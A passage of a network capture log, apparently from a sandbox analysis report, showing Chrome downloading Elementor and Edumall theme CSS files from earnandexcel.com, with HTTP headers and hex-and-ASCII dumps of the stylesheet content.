2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 74 65 78 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 69 63 6f 6e 2d 6c 69 73 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 2d 6c 69 73 74 2d 69 63 6f 6e 20 69 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 69 63 6f 6e 2d 6c 69 73 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 2d 6c 69 73 74 2d 69 63 6f 6e 20 73 76 67 7b 66 69 6c 6c 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 69 63 6f 6e 2d 6c Data Ascii: der-color:var( --e-global-color-text );}.elementor-widget-icon-list .elementor-icon-list-icon i{color:var( --e-global-color-primary );}.elementor-widget-icon-list .elementor-icon-list-icon svg{fill:var( --e-global-color-primary );}.elementor-widget-icon-l
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 65 73 74 69 6d 6f 6e 69 61 6c 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 63 6f 6e 74 65 6e 74 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 74 65 78 74 20 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d Data Ascii: ypography-text-font-weight );}.elementor-widget-testimonial .elementor-testimonial-content{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 61 63 63 6f 72 64 69 6f 6e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 63 63 6f 72 64 69 6f 6e 2d 69 63 6f 6e 2c 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 61 63 63 6f 72 64 69 6f 6e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 63 63 6f 72 64 69 6f 6e 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 61 63 63 6f 72 64 69 6f 6e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 63 63 6f 72 64 69 6f 6e 2d 69 63 6f 6e 20 73 76 67 7b 66 69 6c 6c 3a 76 61 Data Ascii: -e-global-typography-text-font-weight );}.elementor-widget-accordion .elementor-accordion-icon, .elementor-widget-accordion .elementor-accordion-title{color:var( --e-global-color-primary );}.elementor-widget-accordion .elementor-accordion-icon svg{fill:va
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 65 6e 74 6f 72 2d 74 61 62 2d 74 69 74 6c 65 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 63 74 69 76 65 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 74 6f 67 67 6c 65 2d 69 63 6f 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 61 63 63 65 6e 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6f 67 67 6c 65 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 74 6f 67 67 6c 65 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 72 69 6d 61 72 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d Data Ascii: entor-tab-title.elementor-active .elementor-toggle-icon{color:var( --e-global-color-accent );}.elementor-widget-toggle .elementor-toggle-title{font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 70 6f 67 72 61 70 68 79 2d 70 72 69 6d 61 72 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 68 65 61 64 69 6e 67 20 2e 68 65 61 64 69 6e 67 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 68 65 61 64 69 6e 67 20 2e 68 65 61 64 69 6e 67 2d 73 65 63 6f 6e 64 Data Ascii: pography-primary-font-weight );}.elementor-widget-tm-heading .heading-description{font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-tm-heading .heading-second
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 73 68 61 70 65 73 20 2e 73 68 61 70 65 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 73 68 61 70 65 73 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 68 61 70 65 2d 66 69 6c 6c 7b 66 69 6c 6c 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d Data Ascii: ypography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-tm-shapes .shape{color:var( --e-global-color-primary );}.elementor-widget-tm-shapes .elementor-shape-fill{fill:var( --e-global-color-prim

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49731	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:37 UTC	576	OUT	GET /wp-content/uploads/elementor/css/post-706.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e55cc5119a1-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b83b9b-70c9" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 19 Jul 2023 19:38:03 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BOyYpgRso8QBiC%2Fr6%2FSGQR6Sya48nlAFKFE4w2c8%2BZDPqpgxH3CUehee6xqtSgodcJ6w5tfRzF0nCHqy8Ja3m0qk9I1UTcGkp3on67UycJZSj%2B7yCeTRF5n%2FwUrqxZDpFXA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	437	IN	Data Raw: 37 30 63 39 0d 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 33 64 39 35 36 30 63 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 33 64 39 35 36 30 63 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 Data Ascii: 70c9.elementor-706 .elementor-element.elementor-element-3d9560c > .elementor-container > .elementor-row{align-items:stretch;}.elementor-706 .elementor-element.elementor-element-3d9560c{overflow:hidden;transition:background 0.3s, border 0.3s, border-radi
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 33 64 39 35 36 30 63 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 6d 6f 74 69 6f 6e 2d 65 66 66 65 63 74 73 2d 63 6f 6e 74 61 69 6e 65 72 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 6d 6f 74 69 6f 6e 2d 65 66 66 65 63 74 73 2d 6c 61 79 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 35 46 37 46 44 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 33 64 39 35 36 30 63 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 6f 76 65 72 6c 61 79 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 30 2e 33 Data Ascii: tor-element-3d9560c > .elementor-motion-effects-container > .elementor-motion-effects-layer{background-color:#F5F7FD;}.elementor-706 .elementor-element.elementor-element-3d9560c > .elementor-background-overlay{transition:background 0.3s, border-radius 0.3
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 72 2d 65 6c 65 6d 65 6e 74 2d 65 35 65 31 62 34 64 20 2e 65 64 75 6d 61 6c 6c 2d 73 68 61 70 65 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 30 25 2c 20 31 30 25 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 65 35 65 31 62 34 64 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 68 61 70 65 2d 66 69 6c 6c 7b 66 69 6c 6c 3a 23 43 41 44 30 46 41 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 65 35 65 31 62 34 64 7b 77 69 64 74 68 3a 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 61 75 74 6f 3b 62 6f 74 74 6f 6d 3a 30 Data Ascii: r-element-e5e1b4d .edumall-shape{transform:translate(-10%, 10%);}.elementor-706 .elementor-element.elementor-element-e5e1b4d .elementor-shape-fill{fill:#CAD0FA;}.elementor-706 .elementor-element.elementor-element-e5e1b4d{width:auto;max-width:auto;bottom:0
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 70 78 20 31 35 70 78 20 31 35 70 78 20 31 35 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 32 39 70 78 20 35 33 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 38 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 34 65 33 61 31 63 36 7b 77 69 64 74 68 3a 39 76 77 3b 6d 61 78 2d 77 69 64 74 68 3a 39 76 77 3b 74 6f 70 3a 33 30 25 3b 7a 2d 69 6e 64 65 78 3a 30 3b 7d 62 6f 64 79 3a 6e 6f 74 28 2e 72 74 6c 29 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 34 65 33 61 31 63 36 7b 6c 65 66 74 3a 32 25 3b 7d Data Ascii: px 15px 15px 15px;box-shadow:0px 29px 53px 0px rgba(0, 0, 0, 0.08);}.elementor-706 .elementor-element.elementor-element-4e3a1c6{width:9vw;max-width:9vw;top:30%;z-index:0;}body:not(.rtl) .elementor-706 .elementor-element.elementor-element-4e3a1c6{left:2%;}
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 62 35 32 61 65 31 30 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 77 72 61 70 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 62 35 32 61 65 31 30 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 5b 64 61 74 61 2d 65 6c 65 6d 65 6e 74 5f 74 79 70 65 3d 22 63 6f 6c 75 6d 6e 22 5d 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 77 72 61 70 2e 65 6c 65 6d 65 6e 74 Data Ascii: entor-element.elementor-element-b52ae10.elementor-column .elementor-column-wrap{align-items:center;}.elementor-706 .elementor-element.elementor-element-b52ae10.elementor-column.elementor-element[data-element_type="column"] > .elementor-column-wrap.element
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 61 35 61 61 62 32 35 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 77 72 61 70 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 61 35 61 61 62 32 35 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 5b 64 61 74 61 2d 65 6c 65 6d 65 6e 74 5f 74 79 70 65 3d 22 63 6f 6c 75 6d 6e 22 5d 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 77 72 61 70 2e 65 6c 65 6d 65 6e 74 6f 72 2d Data Ascii: or-element.elementor-element-a5aab25.elementor-column .elementor-column-wrap{align-items:center;}.elementor-706 .elementor-element.elementor-element-a5aab25.elementor-column.elementor-element[data-element_type="column"] > .elementor-column-wrap.elementor-
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 70 78 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 63 35 30 62 30 63 32 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 70 6f 70 75 6c 61 74 65 64 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 30 2e 33 73 2c 20 62 6f 78 2d 73 68 61 64 6f 77 20 30 2e 33 73 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 63 35 30 62 30 63 32 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 70 Data Ascii: px;}.elementor-706 .elementor-element.elementor-element-c50b0c2 > .elementor-element-populated{transition:background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s;}.elementor-706 .elementor-element.elementor-element-c50b0c2 > .elementor-element-p
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 38 38 61 35 61 30 65 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 20 30 2e 33 73 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 30 2e 33 73 2c 20 62 6f 78 2d 73 68 61 64 6f 77 20 30 2e 33 73 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 33 35 70 78 20 33 30 70 78 20 33 35 70 78 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 38 38 61 35 61 30 65 3a 6e 6f 74 28 2e 65 6c 65 6d 65 6e 74 6f 72 2d 6d 6f 74 69 6f 6e 2d 65 66 66 65 63 74 73 2d 65 6c 65 6d 65 6e 74 2d 74 79 70 65 2d 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: tor-element-88a5a0e{overflow:hidden;transition:background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s;padding:30px 35px 30px 35px;}.elementor-706 .elementor-element.elementor-element-88a5a0e:not(.elementor-motion-effects-element-type-background
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 78 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 31 30 65 38 64 31 63 20 2e 73 68 61 70 65 7b 77 69 64 74 68 3a 31 30 30 70 78 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 31 70 78 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 39 38 2c 20 31 31 37 2c 20 32 35 35 2c 20 30 2e 31 38 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 31 30 65 38 64 31 63 20 2e 65 64 75 6d 61 6c 6c 2d 73 68 61 70 65 2d 31 2d 31 20 2e 73 68 61 70 65 7b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f Data Ascii: x;}.elementor-706 .elementor-element.elementor-element-10e8d1c .shape{width:100px;border-width:1px;color:rgba(98, 117, 255, 0.18);}.elementor-706 .elementor-element.elementor-element-10e8d1c .edumall-shape-1-1 .shape{height:100px;}.elementor-706 .elemento
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 39 31 39 36 62 34 66 20 2e 68 65 61 64 69 6e 67 2d 70 72 69 6d 61 72 79 20 2e 73 74 6f 70 2d 61 7b 73 74 6f 70 2d 63 6f 6c 6f 72 3a 23 30 30 37 31 44 43 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 39 31 39 36 62 34 66 20 2e 68 65 61 64 69 6e 67 2d 70 72 69 6d 61 72 79 20 2e 73 74 6f 70 2d 62 7b 73 74 6f 70 2d 63 6f 6c 6f 72 3a 23 30 30 37 31 44 43 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 37 30 36 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 Data Ascii: .elementor-706 .elementor-element.elementor-element-9196b4f .heading-primary .stop-a{stop-color:#0071DC;}.elementor-706 .elementor-element.elementor-element-9196b4f .heading-primary .stop-b{stop-color:#0071DC;}.elementor-706 .elementor-element.elementor-e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49732	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:37 UTC	570	OUT	GET /wp-content/themes/edumall/tutor-lms.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	929	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e560a94425c-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-2a152" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BfpKZ2LnHLVCyFv8PFdcswyIEmsrZyn3DvNbulhgl2x5xsUfrPCyR04NUWFgRNqUyXb06eV4lCRoWkiu142tn5eaQjyN1A8TGAg%2F51T0o%2BPbuwb%2Bny5yb5ToCLiMeRiuL44%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	440	IN	Data Raw: 37 63 30 66 0d 0a 2e 64 61 73 68 62 6f 61 72 64 2d 61 63 74 69 6f 6e 2d 62 74 6e 20 69 2c 2e 64 61 73 68 62 6f 61 72 64 2d 68 65 61 64 65 72 2d 74 6f 67 67 6c 65 2d 6d 65 6e 75 2c 2e 64 61 73 68 62 6f 61 72 64 2d 70 61 67 65 20 2e 70 61 67 65 2d 6f 70 65 6e 2d 6d 61 69 6e 2d 6d 65 6e 75 2c 2e 65 64 75 6d 61 6c 6c 2d 63 6f 75 72 73 65 2d 63 61 74 65 67 6f 72 79 2d 63 61 72 64 73 20 2e 63 61 74 65 67 6f 72 79 2d 69 63 6f 6e 2c 2e 65 64 75 6d 61 6c 6c 2d 63 6f 75 72 73 65 2d 63 61 74 65 67 6f 72 79 2d 63 61 72 64 73 20 2e 63 61 74 65 67 6f 72 79 2d 6e 61 6d 65 2c 2e 65 64 75 6d 61 6c 6c 2d 63 6f 75 72 73 65 2d 63 61 74 65 67 6f 72 79 2d 63 61 72 64 73 2e 73 74 79 6c 65 2d 30 31 20 2e 63 61 74 65 67 6f 72 79 2d 69 63 6f 6e 20 73 76 67 20 5b 66 69 6c 6c 5d 2c Data Ascii: 7c0f.dashboard-action-btn i,.dashboard-header-toggle-menu,.dashboard-page .page-open-main-menu,.edumall-course-category-cards .category-icon,.edumall-course-category-cards 